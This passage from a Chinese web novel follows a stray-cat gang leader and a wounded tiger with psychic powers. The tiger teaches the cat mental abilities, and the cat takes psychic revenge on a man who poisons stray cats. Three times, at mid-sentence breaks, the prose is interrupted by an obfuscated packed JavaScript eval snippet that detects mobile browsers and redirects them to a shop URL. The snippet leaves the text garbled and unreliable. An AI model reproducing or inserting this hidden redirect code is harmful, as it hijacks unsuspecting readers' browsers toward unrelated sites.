大大的眼睛,毛茸茸的脑袋,圆圆的耳朵,之前因为体型总是带来莫名压迫危险感的虎,这会儿看着居然有点憨。 嗯,一点都没有狸花猫霸气。 江野在比较中找回了属于大哥的自信。 毛茸茸的虎皮蛋糕原地舒展身体,压压前爪,抬抬后爪,然后才装作不经意般抬起一只前爪,吧唧搭在了玻璃上。 要干嘛? 江野梗着脖子不扭头,只用眼角余光偷偷瞅虎。 黑暗中,一根毛茸茸的粗壮虎尾凑过来,黑色的尾巴尖抬起,抵上了猫的粉色爪垫。 大小正正好。 江野没忍住动了动猫爪,五根尖利的猫指甲弹出来,有种看到小鸟的蠢蠢欲动。 看到小猫的指甲,秦寂不仅没有收回尾巴,反而还用毛茸茸的尾巴尖在猫的爪垫上左晃右蹭,十分嚣张且诱猫。 江野感觉被狠狠挑衅了。 猫一个扭头转过身冲贴到玻璃前,两只爪子在玻璃上擦来擦去,追着秦寂的虎尾巴跑。 秦寂仰着唇角,提着尾巴晃着小猫从左边追到右边,又从右边啪.啪.啪啪打到左边,本来安静的隔离区里顿时充满了噼噼啪啪的动静。 江野忽然反应过来,气急败坏地又踹了一脚隔离玻璃。 混蛋秦寂!! 别让他哪天真进去! 猫一定抓烂虎的脸! 秦寂端坐在原地,仰起的虎尾巴还在嘚嘚瑟瑟地晃,脸上的表情莫名带着几分痞坏气。 秦寂:“真生气了?” 江野不想理虎,这次整个身体都转过去,只给秦寂留了个气到膨胀的背影。 “好吧好吧,是我错了,喏,尾巴给你抓。” 江野的鼻子重重喷气。 说什么尾巴给猫抓! 隔着一层玻璃,猫根本抓不到! “别生气了。” “转过来嘛。” “嗯,我想想,要不然……” 秦寂的声音染上笑意,却带着认真。 “我教你‘说话’怎么样?” 江野的耳朵立刻竖起,抖抖耳朵尖,故作矜持地转头看虎。 真的? 明亮的绿眼睛里满是被虎欺负过的怀疑。 秦寂的脑海浮现出方才小猫别别扭扭却主动靠过来的鼻子和爪垫,眼底逐渐晕开怀念与柔和的情绪。 秦寂没有过朋友。 这是第一次,有同类主动靠近他,即使有害怕,有恐惧,却仍旧主动散发出想要交朋友的讯息。 甚至,江野并不是强大如狮子犀牛,或是冷血剧毒如长蛇蜥蜴。 他只是,一只可爱的,比他小了那么多的,柔软的小猫。 “真的。” 秦寂的脑海深处浮现出一个同样毛茸茸的小影子。 他以为自己早已经忘了很多年前那个孤单寻觅同伴的幼年的自己,却在这一刻无比清晰的认识到,童年的渴望与失落并没有因为岁月的流逝与自身的强大而溃散,反而成了他心底最柔软最酸涩的伤疤。 虎的眼神无比柔软。 眼瞳映出两只表情惊喜,尾巴兴奋乱晃的狸花小猫。 “我教你。” 14. 秦老师【二更】 老虎是独居动物。 兽人联邦的表面或许是各类兽人和平融洽共处的局面,但私下里食肉动物、食草动物、爬行动物和覆羽鸟类之间的矛盾始终存在。 而身为猛虎本该处于联邦上层的秦寂,出身却并不那么光彩,所以秦寂是真的没有和什么兽人成为过,脱离利益交换的,真正意义上的朋友。 所以……秦寂在面对江野的时候,总会时不时冒出一点犹豫迟疑。 只能说,好在还有一面玻璃。 即使这面玻璃对虎而言并不是什么真的无法破坏的桎梏,但他需要这面玻璃来提醒自己。 虎在心里这样想。 江野实在是太小太柔弱了,秦寂甚至害怕如果没有这面玻璃,他会在不留神的时候压到或者踩到小猫。 甚至只是打个盹什么的动作。 秦寂在心里纠纠结结了一晚上,江野可就没那么多乱七八糟的想法了。 第二天一早,在办公室沙发上舒舒服服睡了一觉的江野就钻进虎园,催着才刚换班的工作人员给猫装上麦克风,往玻璃前面一凑,猫爪子把玻璃拍得啪啪作响,兴奋地催促秦寂快点教他“说话”。 “秦寂秦寂秦寂!起床!秦寂起床!” 完全没睡的秦寂慢慢吞吞从草垫上站起来,走到江野面前趴下,四肢在清晨太阳的沐浴下懒洋洋摊开,被剃过的肚皮仍旧被虎藏在身下。 “起了。”秦寂眯起眼睛,听到隔离区里的扩音器里传来江野的咪.咪喵喵声,呜呜渣渣地嘟囔,“天啊,你都不困的吗?” 小不点的一只猫,哪来这么茂盛的精力? 这就是年轻兽人吗。 “早上好!”江野看见秦寂真的被自己叫醒,心满意足地放下猫爪子,坐在玻璃前晃尾巴,“吃早饭了吗?” 江野不说倒算了,一说这个,秦寂就想起自己那被人类捧走的大巧克力堆。 秦寂的胡须一绷。 吃,还是不吃,这对虎来说是一个艰难的抉择。 江野显然也想起了这件事,咧着嘴当着秦寂的面笑的十分大声。 对猫来说,接受人类的铲屎并不困难,只要忽略人类拿那些东西去干什么就行了。 但对虎来说嘛…… 江野凑近玻璃,欣赏了一番秦寂虎脸上的无语纠结,悠悠劝道:“哎呀,看开点嘛,你住在这里免费吃吃喝喝,大家还帮你治疗,你付出一点小代价也很公平啊。” 猫可从来没有人类的等价交换思想,人类要什么,猫给,然后猫得到报酬,这就很公平。 秦寂撇了眼深花色的猫:“你倒是挺能想得开。” “那是。”江野骄傲仰头,毛茸茸的胸.脯挺起,“人类就是很喜欢我,当然了,他们也同样喜欢你。” 不喜欢的话,干嘛那么费劲投喂治疗? 秦寂显然对此有不同的看法:“他们现在喜欢你的皮毛,之后就会厌恶忌惮你的危险,拿取任何不对等的礼物,在将来都有可能成为还不起的代价。” “小猫,你应该更谨慎些。” “听不懂,不想听。” 江野甩甩前爪,把刚才工作人员才端过来的,甚至散发着热气的早餐扒拉到面前,低头进去叼起一根肉条开始嘬,声音含含糊糊的。 “你不觉得你很奇怪吗?” 反过来被猫说奇怪的秦寂:“?” 他莫名有些幼稚地回应:“是你奇怪。” “明明是你~”江野昨天没回小区,睡了一觉的确是饿了,把肉条嘬进嘴里吞下去,趁着这个空隙和秦寂拌嘴,“人喜欢猫,所以提供食物住所,作为回报,猫愿意让人摸摸,也会主动蹭蹭,这不是很正常的事吗?” “如果人不喜欢猫了,猫也不喜欢人,走就好了啊,为什么还要想以前拿了什么?” “以前猫拿的都是猫应得的。” 猫的语气十分以及非常地理所当然。 秦寂:“……?” 江野的话有很魔性。 就是那种,似乎哪里不对,但仔细琢磨他的话又好像找不出哪里特别不对的诡异。 秦寂决定不要跟着猫的思维走:“那如果曾经对你好的人觉得有问题呢?” “有问题就有问题呗,关猫什么事?” 江野说完,低头去滋溜被肉条围在中间的蛋黄。 秦寂:“。” 他忽然很佩服江野。 这样自信骄傲的配得感真不是随便什么生物都能拥有的。 秦寂品了品江野刚才的话,竟然品出了一些其他的味道。 玻璃对面埋头干饭的小猫吃的很香,吧唧嘴的声音听上去有些娇气可爱,却带给虎一种不会被任何无谓的存在伤害打倒的坚硬感。 好吧,虽然很小,但或许江野并没有他想的那么柔弱。 秦寂听了一会儿江野的吧唧声,忍了又忍,最终决定借鉴一番猫的配得感,站起身走向散发着诱人气息的投食区。 无视了隔离区外传来的属于人类的兴奋欢呼。 秦寂吃饭的时候刻意背对江野,用身体挡住江野的视线,没让小猫看到虎进食的过程,并且加快了进食速度。 于是等到江野吃饱喝足懒腰伸了一半时,秦寂也吃完饭走回来卧下,正一下一下舔爪子擦嘴。 江野的毛嘴嘴贴近麦克风,大声喵喵催促秦寂上课。 秦寂捋干净自己的胡须和嘴巴毛,慢悠悠回应:“知道了知道了,有点耐心,小家伙。” 秦寂没有教导兽人的经验,便回想着从前自己小时候上过的课,结合自己的一些经验,努力让完全没接触过精神力的江野能够听懂精神力的概念。 “首先,想要运用力量,就得对你所拥有的力量有一个最基础但清晰的认知。精神力,顾名思义,是一种源自于灵魂的力量……” …… “哦,野哥和泰哥真的特别有爱~” “不懂的没福了!” 负责运营的工作人员这次专门拿了摄像机,对着大猫小猫就是一顿拍。 准备回去加工一下画成动物园小条漫放在社交平台上。 “说起来,我早上还看见推荐,上次的那条视频是不是爆了?”另一个叼着包子的工作人员路过,恰好看到这一幕,便凑过去看摄像机屏幕。 “大爆好吗!空降热搜!咱们园的账号到今早上都已经涨粉五百多万了!”女生的表情很是兴奋,要知道这给她带来的奖金也十分可观,“园长已经在考虑要不要把泰哥也打造成咱们园的明星猫猫了!” “呃……周边什么的好说,但你确定,泰哥会像野哥那么配合拍视频?” “你在说什么傻话?野哥是猫,所以再怎么靠近都是萌,泰哥可是救助来的野生老虎,泰哥敢配合,咱们园里有人敢进去贴贴吗?” 野生老虎和园区繁殖带大的老虎可不一样,没有从小培养的感情,根本不会认什么奶爸。 “像是野哥那种配合度贼高自带热度的猫猫可遇而不可求,泰哥作为救助的野生老虎,从养伤到放归,这中间的几个月都可以剪视频做纪录片之类的,蹭蹭咱野哥的热度,应该也能有些粉丝。” “我和园长想的就是发一些视频,等泰哥情况差不多了可以适当观察开放参观,然后做做周边,开个什么泰哥烤肠小摊之类的……” …… 江野绝对是只聪明又学习能力max的猫。 在秦寂想到哪就讲到哪,思维甚至有点跳跃的教导下,江野只用了不到半个小时的时间,就感知到了属于自己的精神力。 秦寂说了一会儿,觉得口渴,走到水槽边喝水的时候,就觉得肚皮被什么东西飞快但用力地蹭了一下。 秦寂:“?” 虎伸出去卷水喝的舌头一顿,幽幽转身。 飞快收回精神力的江野左看右看,追着自己的尾巴原地转了两个圈。 秦寂低头喝水,喉咙发出咕嘟咕嘟的声音。 小坏蛋,学的倒是挺快。 “既然学会了,就把你身边招摇晃悠的精神力收回身体里去。”秦寂走过来的时候嘴巴上海挂着好几颗水珠,在阳光下折射着晶莹的光,“跟个灯泡一样。” 还在回味虎被剃毛的肚皮触感的江野眨眨眼:“真那么亮吗?” “晃得我眼睛疼。”秦寂打了个哈欠。 “我才不收。”江野十二斤的体重有十一斤的反骨,“这样的话,岂不是不管在哪,有多少猫猫,你一眼就能看到我了!” 秦寂哼笑:“随你。” 反正在这个星球,除了他也没其他兽人能看到江野这只小灯泡。 江野在玻璃前面走了两圈,最初学 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16998857|193926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 习精神力的新鲜和兴奋逐渐褪.去后,关于那个投毒人类的事再度浮现在猫的脑海。 江野的爪子一下下扒拉着麦克风,发出滋滋啦啦的噪音,扒拉两下又突然停住,尾巴尖在身后轻轻甩,却甩得慢吞吞。 透着很明显的纠结。 “那个……秦寂?” “嗯哼?” 江野的精神力穿过玻璃,落在秦寂的面前,轻轻搭在秦寂的前爪上。 秦寂动了动,揉了一把江野的精神力,然后把那股诱人的小东西推远,粗声粗气道:“下次别这样干了,我会忍不住吃了你的精神力。” “哦。” 江野答应是答应了,但下次做不做要看猫的心情。 猫的身边没有什么复杂的大事,秦寂就是故意逗江野才不主动问,但这会儿见小猫纠结又不甘心的样子,还是开口问:“在想上次那个投毒的人?” 江野点点头。 他把昨天晚上的事情说了一遍,语气有点失落,在地上抓挠的猫爪显然带着几分焦躁愤怒。 江野尊重人类的法律和做法,但这并不代表猫的认同。 “我早上过来前把摄像头给出去了,办公室里的人类很生气,都在说一定要发上去曝光这件事。” “但我知道,就和那个人说的一样,他根本不会受到什么惩罚——至少目前看来是这样。” 江野的尾巴用力抽打地面,发出沉闷的梆梆声。 “可是那些小猫,是真的被伤害过,还有其他我不知道的已经死掉的猫。” “这并不公平。” 正如之前说的,猫的眼里,付出和回报没有轻重之分,人类和动物也没有高低贵贱。 “那你想怎样做呢?”闭目养神的秦寂睁开一只眼睛。 “我不知道。”江野用亮晶晶的猫眼睛看向秦寂,精神力再一次凑过去,搭在秦寂交叠在一起的前爪上,蹭了一下虎的下巴,“但我想,我的老师或许知道。” 动物园里经常有这样的称呼,江野学着他们的口吻,用软下来的求助语气说着。 “对不对,秦老师?” “秦老师?” 猫的精神力蹭向虎嘴。 “秦老师~” 猫的精神力揉揉虎须。 “秦~老~师?” 大老虎的粉鼻子重重喷出热气,但却不得不承认自己爽到了的好心情。 但秦寂不承认这些是因为江野的亲近。 大老虎也有身为猫的傲娇。 秦寂在心里想。 ——只是因为治愈系精神力带来的温暖安抚而已。 治愈系精神力拥有者,本就凌驾于万千兽人之上的权势。 想到这,秦寂的心情又变得有些不好起来。 他承认,自己是有一些迁怒的情绪在。 “精神力可以制造出类似催眠暗示的效果,那只是一个普通的人,在你面前,他比纸还要脆弱。” 秦寂的声音带着一种不易察觉的蛊惑。 “江野,你拥有力量。你可以悄无声息地杀了他,弄疯他,让他付出应有的代价……只要你想。” 玻璃外的狸花猫没说话,只是静静地注视着大老虎,眼神专注而认真。 秦寂于是不再说话。 一虎一猫安静了一会儿,江野忽然道:“秦寂。” “你好像,是一只坏猫。” 秦寂的尾巴在小山一样的身躯后悄无声息地绷紧,表面却嗤笑着回答:“哦,是吗?” “你看上去有点不开心。” 江野坦诚:“嗯,是有点不开心。” “你不开心。因为发现我是……” 某个更恶劣的,诸如恶棍混蛋坏种之类的词在秦寂嘴边呼之欲出,但他却笑了下,用了江野所说的,可爱的,柔软的那个词。 “……一只坏猫?” 发现他并不像是想象中的模样,所以觉得失望,生气,懊恼吗? 秦寂眼睛里的笑意淡了许多。 那可没有办法了。 毕竟,他本来就不是什么好猫。 “那倒不是。” 江野站起身,像是想到什么,准备离开。 临走前,给了秦寂一声不客气的哼哼。 “是因为你故意在我面前表现得特别坏。” 15. 精神力暗示【三更】 江野说完那句话就走了,故意没理身后的大老虎是什么反应。 “大哥。” 漂亮能干的三花秘书已经等在了动物园外,见江野从墙头跳下来,低低啊呜了一声。 江野甩甩尾巴,落地的动作十分帅气干练。 如果不是因为秦寂,周内的时候他是不会来动物园的。 “弟兄们都叫来了?”江野一边往前走,一边问。 他今早醒来,在去找秦寂前,让附近的小弟传了消息给三花,准备带猫去投毒的小区。 三花秘书跟上江野的脚步,落后江野半个身子,两只猫像是踩着无形的节拍,四肢替换的频率都一模一样。 “已经都安排好了,十只狸花,两只奶牛,三只黑猫和咱们一起过去。” “诊所那边也每天有两只猫负责蹲点保护幼崽。” “但是那个小区之前被咱们暂时驱逐的猫不肯离开,一直在地盘边缘徘徊。” “哦,没事。”江野又不是真的想占领那个小区,隔了几条街呢,没必要,“到时候事情处理完,他们想回来也行。” “好的。” 一直跟在江野身边的三花秘书是一年前江野捡来的。 三花并不算是流浪猫,最起码一开始不是。 她很漂亮,曾经有一对早出晚归的主人,每天睡在温暖的房子里,干干净净无忧无虑,在发情前就做了绝育。 后来,一对人类变成了一个人类,而那个人类搬家的时候带走了很多东西,值钱的,不值钱的,唯独将她和铺着小毛毯的猫包留在了小区里。 她没有叫,只是静静看着那个人类蹲在猫包前看了她很久,然后走得没有丝毫犹豫。 一天又一天,一.夜又一.夜。 幸运的是没有下雨。 不幸的是,她的气味吸引了许多流浪猫靠近。 绝育过的母猫气味很难界定,友好的,不友好的猫在猫包周围徘徊嘶叫。 她吓坏了,躲在猫包里瑟瑟发抖,即使饿到呼吸困难也不敢出去。 直到一只狸花猫缓缓靠近,彪悍强势地赶走围着猫包的野猫,凑到她身边嗅闻了一阵,然后问她: “我身边缺一个秘书,你要不要跟我走?” “我保护你。” 她听得懂什么叫秘书,曾经一起生活的主人就是一个秘书,所以在被遗弃后,三花第一次开口,认下了面前的老大……也自此有了做不完的工作,操不完的心。 三花看向身前走路带着几分漫不经心,却气场全开的江野,忍了又忍,没忍住:“大哥,你最近一直往这边跑,都不去咱们地盘了。” 江野努了努嘴掩饰自己的尴尬:“咱家里不是还有你们嘛,当大哥的,就是要在外面开拓地盘,收更多的小弟,赚更多的猫粮冻干啊!” 不得不说,三花实在是一个特别能干的秘书。 江野不太有概念自己手下的小弟小妹们揭过冬天进入春天后生了多少小崽,甚至根本不知道自己究竟赚了多少猫粮猫罐头猫冻干,又有多少人类每天在小区各个地方上供投喂,但三花总能把一切都安排地明明白白,井井有条。 只除了在名字上,三花秘书有自己的坚持,不说自己曾经的名字,也不想让江野给她起名字。 问就是一句流浪猫不需要名字。 江野立刻转移话题:“冬天就要到了,往年过冬的地方够用吗?” 江野地盘上的人类大多都很友善,江野作为领头大哥又十分能打,从来没有别的地盘的猫赶来抢食物,再加上动物园还放了好几个猫猫投食饮水机,流浪猫的吃喝从来都不是大问题。 但对流浪猫来说,最大的难关从来都不是食物水源,而是每年都会降临的寒冬。 “挤一挤够的。”三花回答。 正在上台阶的江野侧身顿了顿,翡翠色的眸子冷冷扫过拴在商店门口汪汪叫的大眼睛小狗。 原本疯狂吼叫的吉娃娃尾巴一夹,十分识趣,灰溜溜地钻到商店门口的椅子下面,不敢叫了。 耳边安静了,江野回头看三花:“是不是有猫说要自己找地方过冬?” 三花低下脑袋:“……嗯。” 猫们往年能过冬的地方无非就几个。 小区楼道的消防通道,餐馆便利店的后门,公园大树的树洞,落叶堆积的土坑……以及人类帮忙做的放在背风处的猫窝。 江野来之前,有不少猫会钻进人类的车底取暖,虽然每年都有因此死掉的猫,但怎么都是死,赌一把也不是不行。 江野当了老大后,但凡是往地下车库或者车地下钻的猫,都会被他毫不留情地狠狠揍一顿,次数多了,再加上过冬的选择也变多了,猫们也渐渐不再往这两个地方钻。 但猫越来越多,能过冬的地方却不会增多。 于是,江野手下就会有一些年老的猫,选择主动让出过冬地,让更多的幼崽尽可能度过寒冬。 江野没再说什么,转头继续往前走。 距离冬天还有好几个月。 *** 夜晚,路灯的光晕被拉得狭长,在地面投下斑驳的光影。 王建手里捏着敞着一个塑料袋,里面被碾碎后的火腿肠散发着若有似无的腥气,正在往墙角灌木丛这类的地方丢。 之前被指着鼻子骂,又进了一趟派出所,王建心里越发憋着火,但从派出所没事人一样出来,也让难免生出几分得意猖狂。 男人缩着脖子脚步匆匆地往楼道口走,心里还在嘀咕最近小区里的野猫怎么好像变少了似的,刚才他躲着等了好一阵都没见到一只猫。 算了,说不定明早醒来就能看到死猫了! 王建掏出钥匙准备开门,莫名的,身后传来一阵被盯上的诡异感觉。 他猛地回头,心脏骤然缩紧。 楼道里不知何时多了许多猫。 领头的是一只体型异常大的绿眼睛狸花猫,他稳稳站在单元楼道的窗台上,冰冷的猫瞳居高临下的看向王建。 那双眼睛……那双眼睛真的和一般的猫不一样! 王建只觉得一股寒意上涌,连滚带爬地转身,手抖得半天都插不进钥匙孔,好不容易拧开房门,他几乎是摔着冲进去的,反手就死死关上了门,还不忘挂上防盗链。 “砰”的一声关门声落下,王建靠着冰冷的门板滑坐在地,大口大口地喘着气。 下一秒,客厅的窗户传来“滋啦,咔哒”的声音,是纱窗被利爪划开,锁头被爪垫打开的声音。 王建猛地抬头,就见那只狸花猫收回前爪,从大开的窗户间走进来,一个起跳稳稳落在餐桌上,端坐着缓缓舔舐前爪,瞳孔在昏暗的客厅里闪着幽暗的光。 紧接着,一只只猫顺着窗台、空调外机的支架陆续潜入。 黑猫蹿进沙发,橘猫跳上电视柜,奶牛猫则一跃而起占领冰箱顶,瞬间就把不大的客厅变成了一座围猎场。 “滚!都给我滚出去!”王建终于发出了声音,嘶哑的喊叫里满是恐慌。 他抓起脚边的拖鞋朝沙发底砸去,可只听到流浪猫们凶狠的嘶吼,沙发底甚至立刻报复性地传来爪子抓挠布料的声音,滋啦滋啦满是撕裂声。 …… 橘猫十分讨好地叼着遥控器放到江野面前。 江野用爪子扒拉着遥控器,“啪嗒”一声打开了电视,杂乱的画面和声响突然响起,吓得王建一哆嗦。 江野身后的尾巴尖一卷,像是觉得有趣,又用爪子把电视关掉。 来来回回开启关闭,几乎是在折磨王建此时极度脆弱的脑神经。 厨房突然传来碗碟碰撞的声音,几只猫扒拉放在水槽里的碗,一只黑猫甚至把王建早上没洗的盘子推到了地上,发出“哐当”的刺耳声响。 王建彻底崩溃了,冲向厨房抄起菜刀就往客厅跑。 “来啊!!你们这些畜生!!老子弄死你们!!” 江野飞身而起,一爪子抓向王建持刀的手背,留下三道血痕。 王建疼的立刻松手, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16998858|193926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 菜刀咣当一声落在地上,王建却半点没有了刚才发疯的勇气。 他本来就不是什么有血性的人,不然也不会只去对付不能拿他怎么样的流浪猫。 三花秘书叼着手帕走出来,在江野身边贴心铺开。 江野在手帕上慢条斯理地擦拭爪垫,仔细清理沾染了血迹的指甲。 王建看着这一幕,越发觉得今晚发生的事情诡异至极,面前的猫根本不是猫,而是什么恐怖的恶鬼。 他立刻爬起来就往大门的方向跑,张嘴大叫:“救——” 下一秒,他的身体被什么东西密不透风地裹住,整个人别说喊叫,就连唔声都发不出来,没有丝毫挣扎的余地。 不是猫。 是鬼、鬼! 是那些死了的猫来找他了!! 王建越发冷汗涔涔,吓得魂不守舍。 江野第一次运用自己的精神力,却并不觉得滞涩艰难,就像是自己的前爪尾巴一样灵活。 他用精神力卷了被投毒的火腿肠就往王建嘴边塞。 王建自己知道那是什么毒,吓得肝胆俱颤,用尽力气摇头挣扎着抗拒。 江野趁着王建惧怕恐慌到了极点的时候,在他的脑海种下暗示,让这个人类从今天开始,每天晚上都变成他所毒害过的猫,受尽毒药发作的折磨痛苦而死,直到他完完全全,再也不敢生起伤害无辜动物的念头。 猫群的动作渐渐停了下来。 所有的猫围拢在客厅中央,江野站在最前面,眼神冰冷而傲慢。 王建挣扎的动作逐渐停下,眼神涣散,四肢无力。 客厅里满是猫的眼睛。 一双又一双。 猫在看他。 王建的脸上逐渐浮现出极度的恐惧。 天快亮了。 江野轻轻叫了一声,猫群开始有序地朝着窗户的方向移动,一个个钻出窗缝,消失在夜色中。 直到看着那只狸花猫最后离开,王建才敢真正瘫倒在地。 他看着被搅得一团糟的客厅,碎裂的盘子、撕碎的沙发巾、满地的猫爪印,心脏依旧狂跳不止。 畜生……该死的畜生! 男人闻到身上的尿骚味,涨红着脸骂骂咧咧爬起来,丝毫没有悔过的意思。 被种在脑海深处的精神力暗示却感应到什么,越发往他的脑海深处纠缠,蔓延,收紧。 …… “安排两只猫轮班盯一阵。”被众猫注视跟随的江野淡定往前走,“让这个小区的猫都回来吧。” 很好,今天也是当完美大哥的一天。 “你们也记住,吓唬吓唬得了,谁要是敢动手伤人坏了猫群的名声——”江野抬爪亮指甲,猫眼一眯,显得很是凶恶,“别怪我心狠爪辣!” 此起彼伏的猫叫声立刻附和。 “明白了,老大!” “知道了,老大!” “好的老大!”这是不知道什么时候混进来的原本住在这个小区的野猫。 “滚呐!大哥是我们的!” “外来的野猫!叫谁老大呢!!!不准叫!” “闭嘴!” “打一架!” 在一阵猫毛乱飞的喵嗷咪哈声里,江野淡定纠正:“说了多少遍了,要回答收到。” 三花秘书走过来,问江野:“老大,咱们回去吗?” 江野目光游移:“嗯……” 三花秘书定定看向自家的狸花大哥,用一种平静了然的语气问:“老大,你是不是在外面又收了小弟?” “算……吧?”江野的眼神更加飘忽。 三花不理解:“既然收了就带回家呗,藏着掖着你还要两头跑,多麻烦啊。” 江野语塞了一会儿,才回答:“他……太大了。” 养不起又装不下,还是算了吧。 “猫能有多大?”三花纳闷。 在野猫打架的混乱背景音前,江野语气笃定:“比小区那只走路看不到腿的狗还要大。” 16. 摸一下 比狗大的秦寂正在隔离区里走来走去。 江野说完那句话转头就走,等秦寂反应过来的时候,猫的尾巴毛都看不见了。 只靠着江野平板刷短视频得来的片段信息量,秦寂拿不准,如果江野真的出手对付人类会引来什么样的后果。 作为兽人,秦寂从来不小看人类。 当初也的确是兽人先觉醒了精神力,但最后呢,出走星球的仍旧是兽人。 江野的年龄秦寂不清楚,但按照精神力发育来看,就是个崽子——那种刚掌握力量天不怕地不怕什么东西都能捅出一个洞的崽子。 他怎么能故意挑拨一只猫崽子! 但他并没有真的教江野怎么用精神力攻击…… 不对,精神力是有可能失控的。 秦寂脚步一顿。 然后更加烦躁地走来走去。 值班的工作人员见到虎一反常态的动作,几乎是立刻通知了救助专家小组。 结果专家没到,一只狸花猫先大摇大摆连蹦带跳地走了进来。 真的是连蹦带跳。 隔离区里的秦寂停下脚步,直勾勾看向走路一颠一颠,嘴上一边咪咪喵喵哼着“我是大哥”,就连尾巴尖都像是响尾蛇一样一卷一卷,浑身上下写着得意洋洋的江野。 江野哼着歌蹦跶到玻璃前面停下,有点惊讶地回看今天居然没有趴在草垫上半死不活的秦寂。 “呀~你终于肯起来遛弯啦?” 和江野的一刻不闲完全不同,秦寂是能卧着不会坐着,能坐着不会站着,更多时候都是睡在干草垫上,眼睛一闭谁都不理的懒样子。 这还是江野第一次进来虎园,看到这头懒老虎是四肢着地标准站立的姿势。 “我就说嘛,生命在于运动,你得多动动。” 江野的猫步走的乱八七糟,精神力传过来的声音都还带着几分好心情的荡漾。 秦寂的后槽牙咬得咯吱响。 提心吊胆了一晚上加一早上,结果等来一只没心没肺的小混蛋。 江野凑过去敲敲玻璃:“喂喂喂?大老虎?秦老师?今天吃了没?喝了没?拉了没?” 秦寂再次庆幸自己面前有面玻璃。 不然说不好他真的会一巴掌过去扇了这个小混蛋。 秦寂原地踩了两下前爪,心里哼了两声,朝着玻璃外的江野走了两步:“你去干什么了?” 眼神和语气都非常认真。 江野愣了下,然后反应过来了,也不回答,原地坐下,两只前爪特别矜持优雅地并拢在身前。 “什么干什么?” 猫的眼睛又大又圆又无辜。 秦寂的目光移开,顿了顿,又挪回去:“……别撒娇,做了什么告诉我,如果有问题还能早点处理。” 明明是学着某头老虎欠样子的江野龇牙:“谁撒娇了!你这是虎眼看猫娇!是偏见!!” “你在哪上的学……”秦寂沉默了一下,应该是想到这个星球并没有给兽上课学习的地方,决定包容眼前这只文盲猫,“算了,说正事。” 江野原地抻了抻自己,转了一圈趴下来,两只前爪优雅交叠一搭,把他去找投毒者后做的事儿简单说了一遍。 他着重强调了自己约束猫群没有伤人的事实,并且瞪了一眼不相信猫的虎。 “你从哪学的精神力暗示?”秦寂听到江野的做法松了口气。 只是精神力暗示的话,会被发现端倪的可能性很小。 江野得意哼哼:“还用得着学?不是你说精神力可以催眠暗示么?” 秦寂的确是没教过他怎么实际操作,但催眠暗示江野知道啊,不就是用什么东西在人类面前晃,然后不停说暗示么。 江野显摆完又有点不确定,问秦寂:“说起来,我这算是催眠成功了吧?” 秦寂已经又原地趴下,眼皮开始耷拉,懒洋洋回应:“不知道,你不是让你手底下那群猫社会盯着了吗?到时候看呗。” “猫社会是个什么词?”江野狐疑,“总觉得你在骂我。” “不管了,你就是在骂我,不理你了。” 疑罪从有,猫法官决定从重发落。 秦寂眼睛看似闭着了,实际留了条缝偷看江野。 见江野转身真的要走,连饭都不想吃了,秦寂迟疑了一下,精神力追着江野探过去。 “……对不起。” 原本打算去猫砂盆上厕所的江野脚步停住,反应了足足五秒,才唰得一下转过身。 目光炯炯地看向玻璃对面的虎。 “对不起。” 秦寂看上去有些不自在,尾巴左边打打右边晃晃,显得很忙的样子,但他在江野惊讶的注视下,还是重复了一遍自己的道歉。 “我不该挑拨你。” “我坏不坏是我的事,但至少,我不该试图……教坏你。” 江野用像是看一只巨无霸大蟑螂的惊奇眼神盯着秦寂。 猫贴着玻璃从左边走到右边,又从右边走回左边,眼睛一眨不眨。 看的秦寂虎皮紧绷。 “别看了!”秦寂扛不住了,脑袋往前爪下面一塞,恼羞成怒。 江野笑嘻嘻:“不看也行,但我还生气呢。” “这道歉就得有道歉的样子,你说对吧?秦老师?” 秦寂一听就知道这小祖宗有了猫点子。 但这个称呼的确成功让虎又生出几分心虚。 “……你说。” 江野理直气壮:“我想摸摸你的精神力。” 江野才刚领悟到精神力的存在,正是好奇的时候,而周围除了他只有秦寂有精神力。 秦寂又把自己的精神力捂得很好,江野几次试图想抓都愣是没抓到。 秦寂:“……我有伤,精神力用不了。” 秦寂试图挣扎。 精神力那是随便能摸的吗? 好吧,虽说打架的时候精神力纠缠绞杀的确是一种手段,但除了……谁会平常闲的没事干把精神力递出去让摸来摸去? 怪怪的。 “哎呀你放心。”江野的猫眼睛里满是跃跃欲试,“我就摸一下,会轻轻的,很温柔的!” 秦寂:“让你摸一下,这事儿就揭过?” 江野连连点头:“嗯嗯。” 秦寂谨慎确认:“以后都不会反复说?” 江野爪垫朝虎,抬爪发誓。 秦寂素来都喜欢利益交换,不喜欢欠着什么,想了又想,反复确认,这才把自己的精神力穿过隔离玻璃,探了出去。 江野的瞳孔收缩,逮着秦寂精神力穿过玻璃的瞬间,就扑上去用按着秦寂的精神力稳稳落地。 弹性十足的温热爪垫碰触到精神力的触感让秦寂头皮爆炸,尾巴毛都炸得几乎根根分明。 “江野!” 江野对秦寂的低吼视若罔闻,按着秦寂的精神力用爪子又揉又捏,在秦寂试图强行抽走时,还无师自通学会了用自己的精神力拽住秦寂的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 